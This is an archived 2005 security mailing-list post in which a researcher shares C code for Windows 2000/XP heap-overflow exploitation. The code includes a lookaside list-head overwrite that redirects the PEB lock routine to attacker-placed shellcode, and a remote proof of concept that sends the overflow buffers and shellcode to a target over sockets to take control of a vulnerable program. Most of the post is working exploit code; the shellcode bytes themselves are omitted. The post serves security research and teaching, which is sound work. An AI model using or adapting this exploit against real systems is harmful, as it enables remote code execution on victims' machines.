Dailydave mailing list archives
Understanding Windows Heap Overflows
From: Matt Conover <mconover () gmail com>
Date: Thu, 6 Oct 2005 22:33:42 -0700
Hey all, If it is helpful, I included the code I was originally using to do all of our heap exploitation testing in for our CanSecWest 2004 presentation. I don't think it was publicly released previously... at least I have no memory of it. But I thought by now someone would have written a really nice comprehensive paper on Windows heap exploitation... but to my surprise no one has yet :( I'm flattered you call it the Conover coalescing technique, but it's inaccurate since I co-authored with Oded Horovitz. Oded is the one that originally taught me all his cool Windows tricks, so nothing would have been possible without him :) Speaking of Oded... he is a recent father, send him some greets and congrats :) Anyway, without further ado, lets dive into the code. It will work without change on Win2K SP0-SP4 and WinXP SP0-SP1. For brevity, I have not included EVERYTHING, but enough to make it clear. If you want the actual ready-made proof of concepts, just email me, it will make this mail too big if I attach them. // Create a clean heap pHeap = HeapCreate(2, 0x10000, 0); // As most of you know, running a debugger against the vulnerable // application will change the heap behavior. This can be done // with the following (which will make the heap behave the same // whether or not a debugger is attached) pHeap->Flags = pHeap->ForceFlags = 2; // This will point the PEB lock routine at some empty space in the PEB // This is where we'll stick our shellcode p = DoListHeadOverwrite(pHeap); memcpy(p, Shellcode, ShellcodeLength); // Now cause a crash to force shellcode execution immediate, // because the PEB lock routine is called from ExitProcess // And the unhandled exception filter in kernel32 will call // CreateProcess printf("\nNow forcing a crash...\n"); p = (BYTE *)0xABABABAB; *p = 0; DoListHeadOverwrite is the important part: BYTE *DoListHeadOverwrite(HEAP *pHeap) { BYTE *HeapBase = (BYTE *)pHeap; BYTE *FirstFreeList = HeapBase + FREELIST_OFFSET; BYTE *FirstLookaside = HeapBase + LOOKASIDE_OFFSET; BYTE *pSource, *p; HEAP_FREE_ENTRY *chunk; printf("Using Lookaside list head overwrite technique\n\n"); ///////////////////////////////////////////////////////////////////////////////// // OVERWRITE 1 (overwrite PEB_LOCK_ROUTINE with address of PEB_SPACE) // // NOTE: this step must be done before copy the shellcode into PEB_SPACE, because // otherwise the first 8 bytes of the shellcode at PEB_SPACE will be overwritten ///////////////////////////////////////////////////////////////////////////////// printf("=== OVERWRITE 1\n\n"); pSource = GetChunk(pHeap, ALLOC_SIZE); assert(pSource); memset(pSource, 0x01, ALLOC_SIZE); // NOTE: this has to be done AFTER we get pSource (the one we'll overflow) // or else pSource will take a free chunk of the lookaside list, and the // lookaside list has to be full for this to work printf("Filling lookaside before OVERWRITE 1\n"); FillLookasideList(pHeap, ALLOC_SIZE); //printf("=== BEFORE OVERFLOW\n"); //DumpLookasideLists(stdout, pHeap); putchar('\n'); //DumpFreeLists(stdout, pHeap); putchar('\n'); chunk = (HEAP_FREE_ENTRY *)(pSource+ALLOC_SIZE); chunk->PreviousSize = 0; chunk->Size = 0; // as small as possible chunk->Flags = HEAP_ENTRY_LAST_ENTRY; chunk->SegmentIndex = 63; // between 1-63 chunk->Index = 8; // shouldn't matter chunk->Mask = 1; // shouldn't matter chunk->FreeList.Blink = (LIST_ENTRY *)(PEB_LOCK_ROUTINE); chunk->FreeList.Flink = (LIST_ENTRY *)PEB_SPACE; printf("Overwriting PEB_LOCK_ROUTINE to point to PEB_SPACE\n"); HeapFree(pHeap, 0, pSource); assert(*(DWORD *)PEB_LOCK_ROUTINE == PEB_SPACE); ///////////////////////////////////////////////////////////////////////////////// // OVERWRITE 2 (overwrite list head to point to PEB_SPACE) ///////////////////////////////////////////////////////////////////////////////// printf("\n=== OVERWRITE 2\n\n"); pSource = GetChunk((HANDLE)pHeap, ALLOC_SIZE2); assert(pSource); memset(pSource, 0x00, ALLOC_SIZE2); // NOTE: this has to be done AFTER we get pSource (the one we'll overflow) // or else pSource will take a free chunk of the lookaside list, and the // lookaside list has to be full for this to work printf("Filling lookaside before OVERWRITE 3\n"); FillLookasideList(pHeap, ALLOC_SIZE2); chunk = (HEAP_FREE_ENTRY *)(pSource+ALLOC_SIZE2); chunk->PreviousSize = 1; chunk->Size = 1; // as small as possible chunk->Flags = HEAP_ENTRY_LAST_ENTRY; chunk->SegmentIndex = 1; // between 1-63 is ideal chunk->Index = 8; // shouldn't matter chunk->Mask = 1; // shouldn't matter chunk->FreeList.Blink = (LIST_ENTRY *)(FirstLookaside + LOOKASIDE_SIZE*CHUNK_SIZE); chunk->FreeList.Flink = (LIST_ENTRY *)PEB_SPACE; //printf("\n*** fake chunk = 0x%08lx\n", chunk); //DumpChunk(stdout, NULL, (HEAP_ENTRY *)chunk, FALSE, TRUE, NULL); printf("Overwriting ListHead to point to PEB_SPACE\n"); HeapFree(pHeap, 0, pSource); assert(*(DWORD *)(FirstLookaside + LOOKASIDE_SIZE*CHUNK_SIZE) == PEB_SPACE); ///////////////////////////////////////////////////////////////////////////////// // OVERWRITE 3 (overwrite PEB_SPACE with shellcode) // NOTE 1: This will allocate from the list head we overwrote in OVERWRITE 3 // NOTE 2: We don't free this because it will corrupt the shellcode ///////////////////////////////////////////////////////////////////////////////// printf("\n=== OVERWRITE 3\n\n"); printf("Now allocating chunk of %d bytes (will point to PEB_SPACE)\n", ALLOC_SIZE); p = HeapAlloc(pHeap, 0, ALLOC_SIZE); assert(p == (BYTE *)PEB_SPACE); // DO NOT FREE THIS -- it will corrupt the shellcode return p; } The FillLookasideList is not necessary but makes exploitation much more reliable: void FillLookasideList(HEAP *pHeap, DWORD AllocSize) { int i; DWORD ChunkSize = (AllocSize/8)+1; BYTE *alloc[LOOKASIDE_FILL_SIZE]; //printf("Filling up lookaside list to force coalesce on free\n"); //printf("\n*** LOOKASIDE BEFORE FILL UP:\n"); //DumpLookaside(stdout, NULL, (HEAP_LOOKASIDE *)pLookaside); for (i = 0; i < LOOKASIDE_FILL_SIZE; i++) { alloc[i] = HeapAlloc(pHeap, 0, AllocSize); assert(alloc[i]); } for (i = 0; i < LOOKASIDE_FILL_SIZE; i++) { HeapFree(pHeap, 0, alloc[i]); } //printf("\n*** LOOKASIDE AFTER FILL UP:\n"); //DumpLookaside(stdout, NULL, (HEAP_LOOKASIDE *)pLookaside); //printf("\n"); } Now for remote exploits I just use wrapper functions to hide the network complexity. This is a proof of concept that would be exploiting an application that allows a remote user to control the size of allocations ( e.g., like an RPC type vulnerability). { ////////////////////////////////////////////////////////////////////// // Connect to server ////////////////////////////////////////////////////////////////////// memset(&dst_addr, 0, sizeof(dst_addr)); printf("Resolving %s... ", dst_host); fflush(stdout); he = gethostbyname(dst_host); if (he != NULL) dst_addr.sin_addr = *((struct in_addr *)he->h_addr); else dst_addr.sin_addr.s_addr = inet_addr(dst_host); dst_addr.sin_family = AF_INET; dst_addr.sin_port = htons((unsigned short)dst_port); printf("done\n"); ///////////////////////////////////////////////////////////////////////////////// // OVERWRITE 1 (overwrite list head to point to PEB_LOCK_ROUTINE) // // NOTE: this step must be done before copy the shellcode into PEB_SPACE, because // otherwise the first 8 bytes of the shellcode at PEB_SPACE will be overwritten ///////////////////////////////////////////////////////////////////////////////// printf("\n=== OVERWRITE 1\n\n"); //Sleep(1000); printf("Allocating %d bytes (OVERWRITE 1)\n", ALLOC_SIZE); i = AllocChunk(dst_addr, socks, ALLOC_SIZE); if (i == INVALID_SOCKET) { printf("Failed to allocate %d bytes at OVERWRITE 1\n", ALLOC_SIZE); exit(0); } else memset(attack_buffer, 0x01, ALLOC_SIZE); // NOTE: this has to be done AFTER we get pSource (the one we'll overflow) // or else pSource will take a free chunk of the lookaside list, and the // lookaside list has to be full for this to work printf("Filling lookaside before OVERWRITE 1\n"); if (!FillLookasideList(dst_addr, socks, ALLOC_SIZE)) { printf("FillLookaside at OVERWRITE 1 failed\n"); exit(0); } chunk = (HEAP_FREE_ENTRY *)(attack_buffer + ALLOC_SIZE); chunk->PreviousSize = 1; chunk->Size = 1; // as small as possible chunk->Flags = HEAP_ENTRY_SETTABLE_FLAG1; // a harmless flag that is not null chunk->SegmentIndex = 63; // between 1-63 chunk->Index = 8; // shouldn't matter chunk->Mask = 1; // shouldn't matter chunk->FreeList.Blink = (LIST_ENTRY *)(PEB_LOCK_ROUTINE); chunk->FreeList.Flink = (LIST_ENTRY *)PEB_SPACE; printf("Overwriting PEB_LOCK_ROUTINE to point to PEB_SPACE\n"); j = ALLOC_SIZE+sizeof(HEAP_FREE_ENTRY); DumpBuffer("peb_lock_routine_overwrite", attack_buffer, j); numbytes = sock_send(&socks[i], attack_buffer, j); if (numbytes != j) { printf("sock_send at OVERWRITE 1 failed (sent %d of %d bytes)\n", numbytes, j); exit(0); } if (!FreeChunk(&socks[i])) { printf("FreeChunk at OVERWRITE 1 failed\n"); exit(0); } ///////////////////////////////////////////////////////////////////////////////// // OVERWRITE 2 (overwrite list head to point to PEB_SPACE) ///////////////////////////////////////////////////////////////////////////////// printf("\n=== OVERWRITE 2\n\n"); //Sleep(1000); printf("Allocating %d bytes (OVERWRITE 2)\n", ALLOC_SIZE2); i = AllocChunk(dst_addr, socks, ALLOC_SIZE2); if (i == INVALID_SOCKET) { printf("Failed to allocate %d bytes at OVERWRITE 2\n", ALLOC_SIZE); exit(0); } else memset(attack_buffer, 0x01, ALLOC_SIZE2); // NOTE: this has to be done AFTER we get the new chunk (the one we'll overflow) // or else the new chunk will take a free chunk of the lookaside list, and the // lookaside list has to be full for this to work if (!FillLookasideList(dst_addr, socks, ALLOC_SIZE2)) { printf("FillLookaside at OVERWRITE 2 failed\n"); exit(0); } chunk = (HEAP_FREE_ENTRY *)(attack_buffer+ALLOC_SIZE2); chunk->PreviousSize = 1; chunk->Size = 1; // as small as possible chunk->Flags = HEAP_ENTRY_SETTABLE_FLAG1; // a harmless flag that is not null chunk->SegmentIndex = 63; // between 1-63 is ideal chunk->Index = 8; // shouldn't matter chunk->Mask = 1; // shouldn't matter chunk->FreeList.Blink = (LIST_ENTRY *)(FIRST_LOOKASIDE_LIST + LOOKASIDE_SIZE*CHUNK_SIZE2); chunk->FreeList.Flink = (LIST_ENTRY *)PEB_SPACE; printf("Overwriting ListHead (0x%08lx) to point to PEB_SPACE (0x%08lx)\n", chunk->FreeList.Blink, chunk->FreeList.Flink); j = ALLOC_SIZE2+sizeof(HEAP_FREE_ENTRY); DumpBuffer("list_head_overwrite", attack_buffer, j); numbytes = sock_send(&socks[i], attack_buffer, j); if (numbytes != j) { printf("sock_send at OVERWRITE 2 failed (sent %d bytes of %d)\n", numbytes, j); exit(0); } if (!FreeChunk(&socks[i])) { printf("FreeChunk at OVERWRITE 2 failed\n"); exit(0); } ///////////////////////////////////////////////////////////////////////////////// // OVERWRITE 3 (overwrite PEB_SPACE with shellcode) // NOTE 1: This will allocate from the list head we overwrote in OVERWRITE 3 // NOTE 2: We don't free this because it will corrupt the shellcode ///////////////////////////////////////////////////////////////////////////////// printf("\n=== OVERWRITE 3\n\n"); Sleep(1000); printf("Allocating %d bytes (OVERWRITE 3)\n", ALLOC_SIZE2); i = AllocChunk(dst_addr, socks, ALLOC_SIZE2); if (i == INVALID_SOCKET) { printf("Failed to allocate %d bytes at OVERWRITE 3\n", ALLOC_SIZE); exit(0); } else memset(attack_buffer, 0x01, ALLOC_SIZE2); printf("Sending shellcode (goes into PEB_SPACE)\n"); DumpBuffer("peb_space_overwrite", Shellcode, ShellcodeLength); numbytes = sock_send(&socks[i], Shellcode, ShellcodeLength); if (numbytes != ShellcodeLength) { printf("sock_send at OVERWRITE 3 failed (sent %d of %d bytes)\n", numbytes, ShellcodeLength); exit(0); } // DO NOT FREE THIS -- it will corrupt the shellcode ///////////////////////////////////////////////////////////////////////////////// // Now cause a crash to force shellcode execution immediate ///////////////////////////////////////////////////////////////////////////////// // Make sure we don't corrupt our previous overwrites printf("\n=== CRASH\n\n"); i = AllocChunk(dst_addr, socks, CRASH_ALLOC_SIZE); if (!FillLookasideList(dst_addr, socks, CRASH_ALLOC_SIZE)) { printf("FillLookaside to cause crash failed\n"); exit(0); } memset(attack_buffer, 0x01, CRASH_ALLOC_SIZE); chunk = (HEAP_FREE_ENTRY *)(attack_buffer+CRASH_ALLOC_SIZE); chunk->PreviousSize = 1; chunk->Size = 1; // as small as possible chunk->Flags = HEAP_ENTRY_SETTABLE_FLAG1; // a harmless flag that is not null chunk->SegmentIndex = 1; // between 1-63 is ideal chunk->Index = 8; // shouldn't matter chunk->Mask = 1; // shouldn't matter chunk->FreeList.Blink = (LIST_ENTRY *)0xABABABAB; chunk->FreeList.Flink = (LIST_ENTRY *)0xCDCDCDCD; j = CRASH_ALLOC_SIZE+sizeof(HEAP_FREE_ENTRY); DumpBuffer("crash", attack_buffer, j); numbytes = sock_send(&socks[i], attack_buffer, j); if (numbytes != j) { printf("sock_send of crash failed (sent %d of %d bytes)\n", numbytes, j); exit(0); } if (!FreeChunk(&socks[i])) { printf("FreeChunk too cause crash failed\n"); exit(0); } printf("\nvulnprog should now be under your control\n"); sock_close_sockets(socks, MAX_SOCKETS); WSACleanup(); } BOOL FillLookasideList(SOCKADDR_IN dst_addr, SOCK socks[], int AllocSize) { int i, j; DWORD tmpsocks[LOOKASIDE_FILL_SIZE]; printf("Filling up lookaside index %d\n", (AllocSize/8)+1); for (i = 0; i < LOOKASIDE_FILL_SIZE; i++) { tmpsocks[i] = AllocChunk(dst_addr, socks, AllocSize); if (tmpsocks[i] == INVALID_SOCKET) return FALSE; } Sleep(1000); for (i = 0; i < LOOKASIDE_FILL_SIZE; i++) { j = tmpsocks[i]; if (!FreeChunk(&socks[j])) return FALSE; } Sleep(1000); return TRUE; } // NOTE: the specific technique for allocating a chunk of an arbitrary will differ // for each application. In some applications, you may not be able to control // the allocation size int AllocChunk(SOCKADDR_IN dst_addr, SOCK socks[], int AllocSize) { int i = sock_get_connecting_socket(socks, MAX_SOCKETS); if (i == MAX_SOCKETS || i == INVALID_SOCKET) { assert(0); return INVALID_SOCKET; } if (sock_connect(&socks[i], &dst_addr) == SOCKET_ERROR) { printf("Failed to connect\n", inet_ntoa(dst_addr.sin_addr), htons(dst_addr.sin_port)); return INVALID_SOCKET; } if (sock_send(&socks[i], (char *)&AllocSize, sizeof(AllocSize)) != sizeof(AllocSize)) { assert(0); return INVALID_SOCKET; } socks[i].buf_size = AllocSize; return i; } // NOTE: the specific technique for freeing a chunk will differ for each application // In some applications, you may not be able to control when the free happens BOOL FreeChunk(SOCK *sock) { if (!sock->is_connected || !sock->buf_size) { assert(0); return FALSE; } sock_close_socket(sock); return TRUE; } // NOTE: the specific technique for freeing a chunk of arbitrary will differ for each // application. In some applications you may not be able to control the chunk size. BOOL FreeAnyChunk(SOCK socks[], int AllocSize) { int i; for (i = 0; i < MAX_SOCKETS; i++) { if (!socks[i].is_connected) continue; if (socks[i].buf_size == (int)AllocSize) { sock_close_socket(&socks[i]); assert(!socks[i].buf_size); return TRUE; } } return FALSE; } The sock stuff is wrapper structure to allow me to make multiple connections: void sock_new_sockets(SOCK socks[], unsigned int socks_size) { int i; for (i = 0; i < (int)socks_size; i++) { memset(&socks[i], 0, sizeof(SOCK)); socks[i].socket = INVALID_SOCKET; socks[i].id = -1; } } int sock_get_socket(SOCK socks[], unsigned int socks_size, int use_udp) { int i; for (i = 0; i < (int)socks_size && socks[i].socket != INVALID_SOCKET; i++); // find end if (i == (int)socks_size) return socks_size; // no free socks socks[i].is_udp = use_udp; if (use_udp) socks[i].socket = socket(AF_INET, SOCK_DGRAM, 0); else socks[i].socket = socket(AF_INET, SOCK_STREAM, 0); if (socks[i].socket == INVALID_SOCKET) { return INVALID_SOCKET; } else { socks[i].id = id++; return i; } } int sock_convert_to_nonblocking_socket(SOCK *sock) { unsigned long value = 1; if (ioctlsocket(sock->socket, FIONBIO, &value) == SOCKET_ERROR) { printf("ioctlsocket failed: error code 0x%08lx\n", GetLastError()); return INVALID_SOCKET; } return 0; } int sock_get_nonblocking_socket(SOCK socks[], unsigned int socks_size, int use_udp) { unsigned long value = 1; int i = sock_get_socket(socks, socks_size, use_udp); if (i == INVALID_SOCKET || i == (int)socks_size) return i; if (ioctlsocket(socks[i].socket, FIONBIO, &value) == SOCKET_ERROR) { printf("ioctlsocket failed: error code 0x%08lx\n", GetLastError()); return INVALID_SOCKET; } return i; } int sock_get_listening_socket(SOCK socks[], unsigned int socks_size, int use_udp) { int i = sock_get_socket(socks, socks_size, use_udp); if (i == (int)socks_size || i == INVALID_SOCKET) return i; socks[i].is_listening = 1; return i; } int sock_get_nonblocking_listening_socket(SOCK socks[], unsigned int socks_size, int use_udp) { int i = sock_get_nonblocking_socket(socks, socks_size, use_udp); if (i == (int)socks_size || i == INVALID_SOCKET) return i; socks[i].is_listening = 1; return i; } int sock_get_connecting_socket(SOCK socks[], unsigned int socks_size) { int i = sock_get_socket(socks, socks_size, 0); if (i == (int)socks_size || i == INVALID_SOCKET) return i; socks[i].is_connecting = 1; return i; } int sock_get_nonblocking_connecting_socket(SOCK socks[], unsigned int socks_size) { int i = sock_get_nonblocking_socket(socks, socks_size, 0); if (i == (int)socks_size || i == INVALID_SOCKET) return i; socks[i].is_connecting = 1; return i; } int sock_connect(SOCK *sock, SOCKADDR_IN *dst_addr) { printf("Connecting to %s:%d... ", inet_ntoa(dst_addr->sin_addr), ntohs(dst_addr->sin_port)); fflush(stdout); if (connect(sock->socket, (SOCKADDR *)dst_addr, sizeof(SOCKADDR)) == SOCKET_ERROR) { printf("\nError connecting: error code 0x%08lx\n", GetLastError()); return SOCKET_ERROR; } printf("connected\n"); sock->dst_addr = dst_addr->sin_addr.s_addr; sock->dst_port = ntohs(dst_addr->sin_port); sock->is_connected = 1; sock->is_connecting = 0; return 0; } int sock_accept_client(SOCK socks[], unsigned int socks_size, SOCKET listen_sock, SOCKADDR_IN *client_addr) { int i, socksize = sizeof(SOCKADDR_IN); for (i = 0; i < (int)socks_size && socks[i].socket != INVALID_SOCKET; i++); // find end if (i == (int)socks_size) return socks_size; // no free socks memset(socks+i, 0, sizeof(SOCK)); socks[i].socket = accept(listen_sock, (SOCKADDR *)client_addr, &socksize); if (socks[i].socket == INVALID_SOCKET) { printf("Error with accept: error code 0x%08lx\n", GetLastError()); return INVALID_SOCKET; } socks[i].id = id++; socks[i].is_connected = 1; socks[i].is_listening = 0; socks[i].dst_addr = client_addr->sin_addr.s_addr; socks[i].dst_port = ntohs(client_addr->sin_port); return i; } int sock_accept_nonblocking_client(SOCK socks[], unsigned int socks_size, SOCKET listen_sock, SOCKADDR_IN *client_addr) { unsigned long value = 1; int i, socksize = sizeof(SOCKADDR_IN); for (i = 0; i < (int)socks_size && socks[i].socket != INVALID_SOCKET; i++); // find end if (i == (int)socks_size) return socks_size; // no free socks memset(socks+i, 0, sizeof(SOCK)); socks[i].socket = accept(listen_sock, (SOCKADDR *)client_addr, &socksize); if (socks[i].socket == INVALID_SOCKET) { if (GetLastSocketError() == EWOULDBLOCK) return INVALID_SOCKET; printf("Error with accept: error code 0x%08lx\n", GetLastError()); return INVALID_SOCKET; } if (ioctlsocket(socks[i].socket, FIONBIO, &value) == SOCKET_ERROR) { printf("ioctlsocket failed: error code 0x%08lx\n", GetLastError()); return INVALID_SOCKET; } socks[i].is_connected = 1; socks[i].dst_addr = client_addr->sin_addr.s_addr; socks[i].dst_port = ntohs(client_addr->sin_port); return i; } SOCKET sock_get_max_socket(SOCK socks[], unsigned int socks_size) { int i, max_index = -1; for (i = 0; i < (int)socks_size; i++) { if (socks[i].socket == INVALID_SOCKET) continue; if (max_index < 0) { max_index = i; continue; } if (socks[max_index].socket < socks[i].socket) max_index = i; } if (max_index < 0) return INVALID_SOCKET; else return socks[max_index].socket; } int sock_recv(SOCK *sock, char *buf, unsigned int buf_size, int recv_exact) { char *p = buf; int bytes_left, bytes_read; for (p = buf, bytes_left = buf_size; bytes_left != 0; p += bytes_read, bytes_left -= bytes_read) { bytes_read = recv(sock->socket, p, bytes_left, 0); if (bytes_read <= 0) { if (GetLastSocketError() == EWOULDBLOCK) return 0; #ifdef DEBUG printf("[Client %d.%d] Error with recv: read %d bytes (error code 0x%08lx)\n", sock->id, sock->socket, bytes_read, GetLastError()); #endif return -1; } #ifdef DEBUG printf("[Client %d.%d] Read %d bytes from %s:%d\n", sock->id, sock->socket, bytes_read, inet_ntoa(dst_addr.sin_addr), ntohs(dst_addr.sin_port)); #endif if (!recv_exact) return bytes_read; } return buf_size; } int sock_send(SOCK *sock, char *buf, unsigned int buf_size) { char *p; int bytes_left, bytes_sent; for (p = buf, bytes_left = buf_size; bytes_left > 0; p += bytes_sent, bytes_left -= bytes_sent) { bytes_sent = send(sock->socket, p, bytes_left, 0); if (bytes_sent <= 0) { #ifdef DEBUG printf("[Client %d.%d] Error with send: sent only %d of %d bytes (error code 0x%08lx)\n", sock->id, sock->socket, bytes_sent, bytes_left, GetLastError()); #endif return -1; } #ifdef DEBUG printf("[Client %d.%d] Sent %d of %d bytes to %s:%d\n", sock->id, sock->socket, bytes_sent, buf_size, inet_ntoa(dst_addr.sin_addr), ntohs(dst_addr.sin_port)); #endif } return buf_size; } void sock_close_socket(SOCK *sock) { if (sock->socket == INVALID_SOCKET) return; closesocket(sock->socket); memset(sock, 0, sizeof(SOCK)); sock->socket = INVALID_SOCKET; sock->id = -1; } void sock_close_sockets(SOCK socks[], unsigned int socks_size) { int i; for (i = 0; i < (int)socks_size; i++) sock_close_socket(socks+i); } So that's about it. The exact method used would need to be changed a bit depending on the specific vulnerable application.
Current thread:
- Re: Understanding Windows Heap Overflows, (continued)
- Re: Understanding Windows Heap Overflows pbb (Oct 05)
- RE: Understanding Windows Heap Overflows Brett Moore (Oct 05)
- RE: Understanding Windows Heap Overflows Dave Korn (Oct 19)
- Re: Understanding Windows Heap Overflows Matt Conover (Oct 19)
- RE: Understanding Windows Heap Overflows Dave Korn (Oct 20)
- Re: Understanding Windows Heap Overflows pbb (Oct 07)
- Re: Understanding Windows Heap Overflows Matt Conover (Oct 07)
- Re: Understanding Windows Heap Overflows Nicolas Waisman (Oct 07)
- Re: Understanding Windows Heap Overflows Dave Aitel (Oct 07)